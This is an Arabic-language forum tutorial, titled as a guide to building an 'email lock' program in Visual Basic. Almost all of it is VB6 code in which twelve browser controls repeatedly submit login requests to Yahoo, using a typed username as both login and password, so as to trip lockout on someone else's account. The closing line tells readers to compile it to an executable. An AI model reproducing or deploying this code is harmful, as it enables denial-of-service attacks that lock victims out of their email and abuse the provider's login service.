شرح تصميم برنامج قفل اميل بالفيجوال بيسك

نحط الكود التالي بالدكمة

كود:
On Error Resume Next
WebBrowser1.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
WebBrowser2.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
WebBrowser3.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
WebBrowser4.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
WebBrowser5.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
WebBrowser6.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
WebBrowser7.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
WebBrowser8.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
WebBrowser9.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
WebBrowser10.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
WebBrowser11.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
WebBrowser12.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
و نضيف الكود التالي بالجنرل ( التصريحات العامة )

كود:
Private Sub WebBrowser1_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
WebBrowser1.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
End Sub
Private Sub WebBrowser2_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
WebBrowser2.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
End Sub
Private Sub WebBrowser3_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
WebBrowser3.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
End Sub
Private Sub WebBrowser4_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
WebBrowser4.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
End Sub
Private Sub WebBrowser5_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
WebBrowser5.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
End Sub
Private Sub WebBrowser6_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
WebBrowser6.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
End Sub
Private Sub WebBrowser7_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
WebBrowser7.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
End Sub
Private Sub WebBrowser8_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
WebBrowser8.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
End Sub
Private Sub WebBrowser9_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
WebBrowser9.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
End Sub
Private Sub WebBrowser10_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
WebBrowser10.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
End Sub
Private Sub WebBrowser11_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
WebBrowser11.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
End Sub
Private Sub WebBrowser12_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
WebBrowser12.Navigate ("https://login.yahoo.com/config/login?login=" & Text1.Text & "&passwd=" & Text1.Text)
End Sub
و مبقه غير بس تحولون المشروع الى ملف تنفيذي (Make Project1.exe) و تدللون